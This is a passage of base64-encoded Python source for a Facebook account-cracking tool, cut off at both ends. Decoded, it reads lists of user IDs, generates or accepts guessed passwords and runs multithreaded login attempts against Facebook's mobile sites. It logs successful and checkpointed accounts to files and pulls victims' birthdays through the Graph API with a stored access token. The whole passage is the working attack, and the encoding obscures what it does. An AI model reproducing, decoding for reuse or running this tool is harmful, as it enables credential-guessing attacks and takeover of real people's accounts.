hcnRlZC4uLiIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbT0tdIFNhdmVkIHRvIDogb2sudHh0IitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtDUF0gU2F2ZWQgdG8gOiBjcC50eHQiKSkKCQkJVGhyZWFkUG9vbCgzMCkubWFwKHNlbGYubWFpbixzZWxmLmZsKQoJCQlvcy5yZW1vdmUoc2VsZi5hcGspCgkJCWV4aXQoKQoJZGVmIG1haW4oc2VsZixmbCk6CgkJdHJ5OgoJCQlmb3IgaSBpbiBmbC5nZXQoInB3Iik6CgkJCQlsb2c9bWJhc2ljKGZsLmdldCgiaWQiKSwKCQkJCQlpLCJodHRwczovL21iYXNpYy5mYWNlYm9vay5jb20iKQoJCQkJaWYgbG9nLmdldCgic3RhdHVzIik9PSJjcCI6CgkJCQkJcHJpbnQoKCJcclx4MWJbMDszM20gKiAtLT4gJXMg4oCiICVzXG4gICAgICAgICAgICAgICAiJShmbC5nZXQoImlkIiksaSwpKSkKCQkJCQlzZWxmLmNwLmFwcGVuZCgiJXMg4oCiICVzIiUoZmwuZ2V0KCJpZCIpLGkpKQoJCQkJCW9wZW4oImNwLnR4dCIsImErIikud3JpdGUoCgkJCQkJCSIlcyDigKIgJXNcbiIlKGZsLmdldCgiaWQiKSxpKSkKCQkJCQlicmVhawoJCQkJZWxpZiBsb2cuZ2V0KCJzdGF0dXMiKT09InN1Y2Nlc3MiOgoJCQkJCXByaW50KCgiXHJceDFiWzA7MzJtICogLS0+ICVzIOKAoiAlcyAgICAgICAgICAgICAgICIlKGZsLmdldCgiaWQiKSxpLGNla19hcGspKSkKCQkJCQlzZWxmLmFkYS5hcHBlbmQoIiVzIOKAoiAlcyIlKGZsLmdldCgiaWQiKSxpLGNla19hcGspKQoJCQkJCW9wZW4oIm9rLnR4dCIsImErIikud3JpdGUoCgkJCQkJCSIlcyDigKIgJXNcbiIlKGZsLmdldCgiaWQiKSxpLGNla19hcGspKQoJCQkJCWJyZWFrCgkJCQllbHNlOmNvbnRpbnVlCgkJCQkJCgkJCXNlbGYua28rPTEKCQkJcHJpbnQoIlxyXHgxYlswOzM3bVtDcmFja11ceDFiWzA7MzdtICVzLyVzIFx4MWJbMDszN21PSyA6ICVzIFx4MWJbMDszN21DUCA6ICVzXHgxYlswOzM3bSIlKHNlbGYua28sbGVuKHNlbGYuZmwpLGxlbihzZWxmLmFkYSksbGVuKHNlbGYuY3ApKSwgZW5kPScgJyk7c3lzLnN0ZG91dC5mbHVzaCgpCgkJZXhjZXB0OgoJCQlzZWxmLm1haW4oZmwpCiNHZW5lcmF0ZTIKY2xhc3MgY3JhY2t0dGw6Cglvcy5zeXN0ZW0oImNsZWFyIikKCWJhbm5lcigpCglkZWYgX19pbml0X18oc2VsZixpc2lmaWxlKToKCQlzZWxmLmFkYT1bXQoJCXNlbGYuY3A9W10KCQlzZWxmLmtvPTAKCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgV2l0aCBQYXNzIERlZmF1bHQvTWFudWFsIFtkL21dIikpCgkJd2hpbGUgVHJ1ZToKCQkJZj1pbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gQ2hvb3NlIDogIikKCQkJaWYgZj09IiI6Y29udGludWUKCQkJZWxpZiBmPT0ibSI6CgkJCQl0cnk6CgkJCQkJd2hpbGUgVHJ1ZToKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5hcGs9aXNpZmlsZQoJCQkJCQkJc2VsZi5mcz1vcGVuKHNlbGYuYXBrKS5yZWFkKCkuc3BsaXRsaW5lcygpCgkJCQkJCQlicmVhawoJCQkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCQkJCWNvbnRpbnVlCgkJCQkJc2VsZi5mbD1bXQoJCQkJCWZvciBpIGluIHNlbGYuZnM6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuZmwuYXBwZW5kKHsiaWQiOmkuc3BsaXQoIjw9PiIpWzBdfSkKCQkJCQkJZXhjZXB0OmNvbnRpbnVlCgkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQkJY29udGludWUKCQkJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gRXhhbXBsZSA6IHNheWFuZyxrb250b2wsMTIzNDU2IikpCgkJCQlzZWxmLnB3bGlzdCgpCgkJCQlicmVhawoJCQllbGlmIGY9PSJkIjoKCQkJCXRyeToKCQkJCQl3aGlsZSBUcnVlOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmFwaz1pc2lmaWxlCgkJCQkJCQlzZWxmLmZzPW9wZW4oc2VsZi5hcGspLnJlYWQoKS5zcGxpdGxpbmVzKCkKCQkJCQkJCWJyZWFrCgkJCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJCQkJY29udGludWUKCQkJCQlzZWxmLmZsPVtdCgkJCQkJZm9yIGkgaW4gc2VsZi5mczoKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5mbC5hcHBlbmQoeyJpZCI6aS5zcGxpdCgiPD0+IilbMF0sInB3IjpnZW5lcmF0ZTIoaS5zcGxpdCgiPD0+IilbMV0pfSkKCQkJCQkJZXhjZXB0OmNvbnRpbnVlCgkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgU3RhcnRlZC4uLiIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbT0tdIFNhdmVkIHRvIDogb2sudHh0IitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtDUF0gU2F2ZWQgdG8gOiBjcC50eHQiKSkKCQkJCVRocmVhZFBvb2woMzUpLm1hcChzZWxmLm1haW4sc2VsZi5mbCkKCQkJCW9zLnJlbW92ZShzZWxmLmFwaykKCQkJCWV4aXQoKQoJCQkJYnJlYWsKCWRlZiBwd2xpc3Qoc2VsZik6CgkJc2VsZi5wdz1pbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gUGFzc3dvcmQgTGlzdCA6ICIpLnNwbGl0KCIsIikKCQlpZiBsZW4oc2VsZi5wdykgPT0wOgoJCQlzZWxmLnB3bGlzdCgpCgkJZWxzZToKCQkJZm9yIGkgaW4gc2VsZi5mbDoKCQkJCWkudXBkYXRlKHsicHciOnNlbGYucHd9KQoJCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgU3RhcnRlZC4uLiIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbT0tdIFNhdmVkIHRvIDogb2sudHh0IitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtDUF0gU2F2ZWQgdG8gOiBjcC50eHQiKSkKCQkJVGhyZWFkUG9vbCgzMCkubWFwKHNlbGYubWFpbixzZWxmLmZsKQoJCQlvcy5yZW1vdmUoc2VsZi5hcGspCgkJCWV4aXQoKQoJZGVmIG1haW4oc2VsZixmbCk6CgkJdHJ5OgoJCQlmb3IgaSBpbiBmbC5nZXQoInB3Iik6CgkJCQlsb2c9bWJhc2ljKGZsLmdldCgiaWQiKSwKCQkJCQlpLCJodHRwczovL21iYXNpYy5mYWNlYm9vay5jb20iKQoJCQkJaWYgbG9nLmdldCgic3RhdHVzIik9PSJjcCI6CgkJCQkJdHJ5OgoJCQkJCQlrZT1yZXF1ZXN0cy5nZXQoImh0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLyIrZmwuZ2V0KCJpZCIpKyI/YWNjZXNzX3Rva2VuPSIrb3BlbigibG9naW4udHh0IiwiciIpLnJlYWQoKSkKCQkJCQkJdHQ9anNvbi5sb2FkcyhrZS50ZXh0KQoJCQkJCQl0dGw9dHRbImJpcnRoZGF5Il0KCQkJCQlleGNlcHQ6cGFzcwoJCQkJCXByaW50KCJcclx4MWJbMDszM20gKiAtLT4gJXMg4oCiICVzIOKAoiAlcyBceDFiWzBtICAgIiUoZmwuZ2V0KCJpZCIpLGksc3RyKHR0bCkpKQoJCQkJCXNlbGYuY3AuYXBwZW5kKCIlcyDigKIgJXMiJShmbC5nZXQoImlkIiksaSkpCgkJCQkJb3BlbigiY3AudHh0IiwiYSsiKS53cml0ZSgKCQkJCQkJIiVzIOKAoiAlcyDigKIgJXNcbiIlKGZsLmdldCgiaWQiKSxpLHN0cih0dGwpKSkKCQkJCQlicmVhawoJCQkJZWxpZiBsb2cuZ2V0KCJzdGF0dXMiKT09InN1Y2Nlc3MiOgoJCQkJCXByaW50KCgiXHJceDFiWzA7MzJtICogLS0+ICVzIOKAoiAlcyAgICAgICAgICAgICAgICIlKGZsLmdldCgiaWQiKSxpLGNla19hcGspKSkKCQkJCQlzZWxmLmFkYS5hcHBlbmQoIiVzIOKAoiAlcyIlKGZsLmdldCgiaWQiKSxpLGNla19hcGspKQoJCQkJCWlmIGZsLmdldCgiaWQiKSBpbiBvcGVuKCJvay50eHQiKS5yZWFkKCk6CgkJCQkJCWJyZWFrCgkJCQkJZWxzZToKCQkJCQkJb3Blbigib2sudHh0IiwiYSsiKS53cml0ZSgKCQkJCQkJIiVzIOKAoiAlc1xuIiUoZmwuZ2V0KCJpZCIpLGksY2VrX2FwaykpCgkJCQkJYnJlYWsKCQkJCWVsc2U6Y29udGludWUKCQkJCQkKCQkJc2VsZi5rbys9MQoJCQlwcmludCgiXHJceDFiWzA7MzdtIFtDcmFja11ceDFiWzA7MzdtICVzLyVzIFx4MWJbMDszN21PSyA6ICVzIFx4MWJbMDszN21DUCA6ICVzXHgxYlswOzM3bSIlKHNlbGYua28sbGVuKHNlbGYuZmwpLGxlbihzZWxmLmFkYSksbGVuKHNlbGYuY3ApKSwgZW5kPScgJyk7c3lzLnN0ZG91dC5mbHVzaCgpCgkJZXhjZXB0OgoJCQlzZWxmLm1haW4oZmwpCiNHZW5lcmF0ZTMKY2xhc3MgY3Jla206Cglvcy5zeXN0ZW0oImNsZWFyIikKCWJhbm5lcigpCglkZWYgX19pbml0X18oc2VsZixpc2lmaWxlKToKCQlzZWxmLmFkYT1bXQoJCXNlbGYuY3A9W10KCQlzZWxmLmtvPTAKCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgV2l0aCBQYXNzIERlZmF1bHQvTWFudWFsIFtkL21dIikpCgkJd2hpbGUgVHJ1ZToKCQkJZj1pbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gQ2hvb3NlIDogIikKCQkJaWYgZj09IiI6Y29udGludWUKCQkJZWxpZiBmPT0ibSI6CgkJCQl0cnk6CgkJCQkJd2hpbGUgVHJ1ZToKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5hcGs9aXNpZmlsZQoJCQkJCQkJc2VsZi5mcz1vcGVuKHNlbGYuYXBrKS5yZWFkKCkuc3BsaXRsaW5lcygpCgkJCQkJCQlicmVhawoJCQkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCQkJCWNvbnRpbnVlCgkJCQkJc2VsZi5mbD1bXQoJCQkJCWZvciBpIGluIHNlbGYuZnM6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuZmwuYXBwZW5kKHsiaWQiOmkuc3BsaXQoIjw9PiIpWzBdfSkKCQkJCQkJZXhjZXB0OmNvbnRpbnVlCgkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQkJY29udGludWUKCQkJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gRXhhbXBsZSA6IHNheWFuZyxrb250b2wsMTIzNDU2IikpCgkJCQlzZWxmLnB3bGlzdCgpCgkJCQlicmVhawoJCQllbGlmIGY9PSJkIjoKCQkJCXRyeToKCQkJCQl3aGlsZSBUcnVlOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmFwaz1pc2lmaWxlCgkJCQkJCQlzZWxmLmZzPW9wZW4oc2VsZi5hcGspLnJlYWQoKS5zcGxpdGxpbmVzKCkKCQkJCQkJCWJyZWFrCgkJCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJCQkJY29udGludWUKCQkJCQlzZWxmLmZsPVtdCgkJCQkJZm9yIGkgaW4gc2VsZi5mczoKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5mbC5hcHBlbmQoeyJpZCI6aS5zcGxpdCgiPD0+IilbMF0sInB3IjpnZW5lcmF0ZTMoaS5zcGxpdCgiPD0+IilbMV0pfSkKCQkJCQkJZXhjZXB0OmNvbnRpbnVlCgkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgU3RhcnRlZC4uLiIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbT0tdIFNhdmVkIHRvIDogb2sudHh0IitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtDUF0gU2F2ZWQgdG8gOiBjcC50eHQiKSkKCQkJCVRocmVhZFBvb2woMzApLm1hcChzZWxmLm1haW4sc2VsZi5mbCkKCQkJCW9zLnJlbW92ZShzZWxmLmFwaykKCQkJCWV4aXQoKQoJCQkJYnJlYWsKCWRlZiBwd2xpc3Qoc2VsZik6CgkJc2VsZi5wdz1pbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gUGFzc3dvcmQgTGlzdCA6ICIpLnNwbGl0KCIsIikKCQlpZiBsZW4oc2VsZi5wdykgPT0wOgoJCQlzZWxmLnB3bGlzdCgpCgkJZWxzZToKCQkJZm9yIGkgaW4gc2VsZi5mbDoKCQkJCWkudXBkYXRlKHsicHciOnNlbGYucHd9KQoJCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgU3RhcnRlZC4uLiIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbT0tdIFNhdmVkIHRvIDogb2sudHh0IitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtDUF0gU2F2ZWQgdG8gOiBjcC50eHQiKSkKCQkJVGhyZWFkUG9vbCgzMCkubWFwKHNlbGYubWFpbixzZWxmLmZsKQoJCQlvcy5yZW1vdmUoc2VsZi5hcGspCgkJCWV4aXQoKQoJZGVmIG1haW4oc2VsZixmbCk6CgkJdHJ5OgoJCQlmb3IgaSBpbiBmbC5nZXQoInB3Iik6CgkJCQlsb2c9bV9mYihmbC5nZXQoImlkIiksCgkJCQkJaSwiaHR0cHM6Ly9tLmZhY2Vib29rLmNvbSIpCgkJCQlpZiBsb2cuZ2V0KCJzdGF0dXMiKT09ImNwIjoKCQkJCQlwcmludCgoIlxyXHgxYlswOzMzbSAqIC0tPiAlcyDigKIgJXNcbiAgICAgICAgICAgICAgICIlKGZsLmdldCgiaWQiKSxpKSkpCgkJCQkJc2VsZi5jcC5hcHBlbmQoIiVzIOKAoiAlcyIlKGZsLmdldCgiaWQiKSxpKSkKCQkJCQlvcGVuKCJjcC50eHQiLCJhKyIpLndyaXRlKAoJCQkJCQkiJXMg4oCiICVzXG4iJShmbC5nZXQoImlkIiksaSkpCgkJCQkJYnJlYWsKCQkJCWVsaWYgbG9nLmdldCgic3RhdHVzIik9PSJzdWNjZXNzIjoKCQkJCQlwcmludCgoIlxyXHgxYlswOzMybSAqIC0tPiAlcyDigKIgJXMgICAgICAgICAgICAgICAiJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkpCgkJCQkJc2VsZi5hZGEuYXBwZW5kKCIlcyDigKIgJXMiJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkKCQkJCQlvcGVuKCJvay50eHQiLCJhKyIpLndyaXRlKAoJCQkJCQkiJXMg4oCiICVzXG4iJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkKCQkJCQlicmVhawoJCQkJZWxzZTpjb250aW51ZQoJCQkJCQoJCQlzZWxmLmtvKz0xCgkJCXByaW50KCJcclx4MWJbMDszN20gW0NyYWNrXVx4MWJbMDszN20gJXMvJXMgXHgxYlswOzM3bU9LIDogJXMgXHgxYlswOzM3bUNQIDogJXNceDFiWzA7MzdtIiUoc2VsZi5rbyxsZW4oc2VsZi5mbCksbGVuKHNlbGYuYWRhKSxsZW4oc2VsZi5jcCkpLCBlbmQ9JyAnKTtzeXMuc3Rkb3V0LmZsdXNoKCkKCQlleGNlcHQ6CgkJCXNlbGYubWFpbihmbCkKI0dlbmVyYXRlMQpjbGFzcyBjcmVrbXR0bDoKCW9zLnN5c3RlbSgiY2xlYXIiKQoJYmFubmVyKCkKCWRlZiBfX2luaXRfXyhzZWxmLGlzaWZpbGUpOgoJCXNlbGYuYWRhPVtdCgkJc2VsZi5jcD1bXQoJCXNlbGYua289MAoJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBXaXRoIFBhc3MgRGVmYXVsdC9NYW51YWwgW2QvbV0iKSkKCQl3aGlsZSBUcnVlOgoJCQlmPWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDaG9vc2UgOiAiKQoJCQlpZiBmPT0iIjpjb250aW51ZQoJCQllbGlmIGY9PSJtIjoKCQkJCXRyeToKCQkJCQl3aGlsZSBUcnVlOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmFwaz1pc2lmaWxlCgkJCQkJCQlzZWxmLmZzPW9wZW4oc2VsZi5hcGspLnJlYWQoKS5zcGxpdGxpbmVzKCkKCQkJCQkJCWJyZWFrCgkJCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJCQkJY29udGludWUKCQkJCQlzZWxmLmZsPVtdCgkJCQkJZm9yIGkgaW4gc2VsZi5mczoKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5mbC5hcHBlbmQoeyJpZCI6aS5zcGxpdCgiPD0+IilbMF19KQoJCQkJCQlleGNlcHQ6Y29udGludWUKCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCQljb250aW51ZQoJCQkJcHJpbnQoKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBFeGFtcGxlIDogc2F5YW5nLGtvbnRvbCwxMjM0NTYiKSkKCQkJCXNlbGYucHdsaXN0KCkKCQkJCWJyZWFrCgkJCWVsaWYgZj09ImQiOgoJCQkJdHJ5OgoJCQkJCXdoaWxlIFRydWU6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuYXBrPWlzaWZpbGUKCQkJCQkJCXNlbGYuZnM9b3BlbihzZWxmLmFwaykucmVhZCgpLnNwbGl0bGluZXMoKQoJCQkJCQkJYnJlYWsKCQkJCQkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQkJCQljb250aW51ZQoJCQkJCXNlbGYuZmw9W10KCQkJCQlmb3IgaSBpbiBzZWxmLmZzOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmZsLmFwcGVuZCh7ImlkIjppLnNwbGl0KCI8PT4iKVswXSwicHciOmdlbmVyYXRlMShpLnNwbGl0KCI8PT4iKVsxXSl9KQoJCQkJCQlleGNlcHQ6Y29udGludWUKCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBTdGFydGVkLi4uIitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtPS10gU2F2ZWQgdG8gOiBvay50eHQiK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW0NQXSBTYXZlZCB0byA6IGNwLnR4dCIpKQoJCQkJVGhyZWFkUG9vbCgzMCkubWFwKHNlbGYubWFpbixzZWxmLmZsKQoJCQkJb3MucmVtb3ZlKHNlbGYuYXBrKQoJCQkJZXhpdCgpCgkJCQlicmVhawoJZGVmIHB3bGlzdChzZWxmKToKCQlzZWxmLnB3PWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBQYXNzd29yZCBMaXN0IDogIikuc3BsaXQoIiwiKQoJCWlmIGxlbihzZWxmLnB3KSA9PTA6CgkJCXNlbGYucHdsaXN0KCkKCQllbHNlOgoJCQlmb3IgaSBpbiBzZWxmLmZsOgoJCQkJaS51cGRhdGUoeyJwdyI6c2VsZi5wd30pCgkJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBTdGFydGVkLi4uIitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtPS10gU2F2ZWQgdG8gOiBvay50eHQiK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW0NQXSBTYXZlZCB0byA6IGNwLnR4dCIpKQoJCQlUaHJlYWRQb29sKDMwKS5tYXAoc2VsZi5tYWluLHNlbGYuZmwpCgkJCW9zLnJlbW92ZShzZWxmLmFwaykKCQkJZXhpdCgpCglkZWYgbWFpbihzZWxmLGZsKToKCQl0cnk6CgkJCWZvciBpIGluIGZsLmdldCgicHciKToKCQkJCWxvZz1tX2ZiKGZsLmdldCgiaWQiKSwKCQkJCQlpLCJodHRwczovL20uZmFjZWJvb2suY29tIikKCQkJCWlmIGxvZy5nZXQoInN0YXR1cyIpPT0iY3AiOgoJCQkJCXRyeToKCQkJCQkJa2U9cmVxdWVzdHMuZ2V0KCJodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8iK2ZsLmdldCgiaWQiKSsiP2FjY2Vzc190b2tlbj0iK29wZW4oImxvZ2luLnR4dCIsInIiKS5yZWFkKCkpCgkJCQkJCXR0PWpzb24ubG9hZHMoa2UudGV4dCkKCQkJCQkJdHRsPXR0WyJiaXJ0aGRheSJdCgkJCQkJZXhjZXB0OnBhc3MKCQkJCQlwcmludCgiXHJceDFiWzA7MzNtICogLS0+ICVzIOKAoiAlcyDigKIgJXMgXHgxYlswbSAgICIlKGZsLmdldCgiaWQiKSxpLHN0cih0dGwpKSkKCQkJCQlzZWxmLmNwLmFwcGVuZCgiJXMg4oCiICVzIiUoZmwuZ2V0KCJpZCIpLGkpKQoJCQkJCW9wZW4oImNwLnR4dCIsImErIikud3JpdGUoCgkJCQkJCSIlcyDigKIgJXMg4oCiICVzXG4iJShmbC5nZXQoImlkIiksaSxzdHIodHRsKSkpCgkJCQkJYnJlYWsKCQkJCWVsaWYgbG9nLmdldCgic3RhdHVzIik9PSJzdWNjZXNzIjoKCQkJCQlwcmludCgoIlxyXHgxYlswOzMybSAqIC0tPiAlcyDigKIgJXMgICAgICAgICAgICAgICAiJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkpCgkJCQkJc2VsZi5hZGEuYXBwZW5kKCIlcyDigKIgJXMiJShmbC5nZXQoImlkIiksaSxjZWtfYXBrKSkKCQkJCQlpZiBmbC5nZXQoImlkIikgaW4gb3Blbigib2sudHh0IikucmVhZCgpOgoJCQkJCQlicmVhawoJCQkJCWVsc2U6CgkJCQkJCW9wZW4oIm9rLnR4dCIsImErIikud3JpdGUoCgkJCQkJCSIlcyDigKIgJXNcbiIlKGZsLmdldCgiaWQiKSxpLGNla19hcGspKQoJCQkJCWJyZWFrCgkJCQllbHNlOmNvbnRpbnVlCgkJCQkJCgkJCXNlbGYua28rPTEKCQkJcHJpbnQoIlxyXHgxYlswOzM3bSBbQ3JhY2tdXHgxYlswOzM3bSAlcy8lcyBceDFiWzA7MzdtT0sgOiAlcyBceDFiWzA7MzdtQ1AgOiAlc1x4MWJbMDszN20iJShzZWxmLmtvLGxlbihzZWxmLmZsKSxsZW4oc2VsZi5hZGEpLGxlbihzZWxmLmNwKSksIGVuZD0nICcpO3N5cy5zdGRvdXQuZmx1c2goKQoJCWV4Y2VwdDoKCQkJc2VsZi5tYWluKGZsKQojR2VuZXJhdGUyCmNsYXNzIHRvZmJlOgoJb3Muc3lzdGVtKCJjbGVhciIpCgliYW5uZXIoKQoJZGVmIF9faW5pdF9fKHNlbGYsaXNpZmlsZSk6CgkJc2VsZi5hZGE9W10KCQlzZWxmLmNwPVtdCgkJc2VsZi5rbz0wCgkJcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENyYWNrIFdpdGggUGFzcyBEZWZhdWx0L01hbnVhbCBbZC9tXSIpKQoJCXdoaWxlIFRydWU6CgkJCWY9aW5wdXQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENob29zZSA6ICIpCgkJCWlmIGY9PSIiOmNvbnRpbnVlCgkJCWVsaWYgZj09Im0iOgoJCQkJdHJ5OgoJCQkJCXdoaWxlIFRydWU6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuYXBrPWlzaWZpbGUKCQkJCQkJCXNlbGYuZnM9b3BlbihzZWxmLmFwaykucmVhZCgpLnNwbGl0bGluZXMoKQoJCQkJCQkJYnJlYWsKCQkJCQkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQkJCQljb250aW51ZQoJCQkJCXNlbGYuZmw9W10KCQkJCQlmb3IgaSBpbiBzZWxmLmZzOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmZsLmFwcGVuZCh7ImlkIjppLnNwbGl0KCI8PT4iKVswXX0pCgkJCQkJCWV4Y2VwdDpjb250aW51ZQoJCQkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJCWNvbnRpbnVlCgkJCQlwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEV4YW1wbGUgOiBzYXlhbmcsa29udG9sLDEyMzQ1NiIpKQoJCQkJc2VsZi5wd2xpc3QoKQoJCQkJYnJlYWsKCQkJZWxpZiBmPT0iZCI6CgkJCQl0cnk6CgkJCQkJd2hpbGUgVHJ1ZToKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5hcGs9aXNpZmlsZQoJCQkJCQkJc2VsZi5mcz1vcGVuKHNlbGYuYXBrKS5yZWFkKCkuc3BsaXRsaW5lcygpCgkJCQkJCQlicmVhawoJCQkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCQkJCWNvbnRpbnVlCgkJCQkJc2VsZi5mbD1bXQoJCQkJCWZvciBpIGluIHNlbGYuZnM6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuZmwuYXBwZW5kKHsiaWQiOmkuc3BsaXQoIjw9PiIpWzBdLCJwdyI6Z2VuZXJhdGUyKGkuc3BsaXQoIjw9PiIpWzFdKX0pCgkJCQkJCWV4Y2VwdDpjb250aW51ZQoJCQkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENyYWNrIFN0YXJ0ZWQuLi4iK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW09LXSBTYXZlZCB0byA6IG9rLnR4dCIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbQ1BdIFNhdmVkIHRvIDogY3AudHh0IikpCgkJCQlUaHJlYWRQb29sKDMwKS5tYXAoc2VsZi5tYWluLHNlbGYuZmwpCgkJCQlvcy5yZW1vdmUoc2VsZi5hcGspCgkJCQlleGl0KCkKCQkJCWJyZWFrCglkZWYgcHdsaXN0KHNlbGYpOgoJCXNlbGYucHc9aW5wdXQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIFBhc3N3b3JkIExpc3QgOiAiKS5zcGxpdCgiLCIpCgkJaWYgbGVuKHNlbGYucHcpID09MDoKCQkJc2VsZi5wd2xpc3QoKQoJCWVsc2U6CgkJCWZvciBpIGluIHNlbGYuZmw6CgkJCQlpLnVwZGF0ZSh7InB3IjpzZWxmLnB3fSkKCQkJcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENyYWNrIFN0YXJ0ZWQuLi4iK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW09LXSBTYXZlZCB0byA6IG9rLnR4dCIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbQ1BdIFNhdmVkIHRvIDogY3AudHh0IikpCgkJCVRocmVhZFBv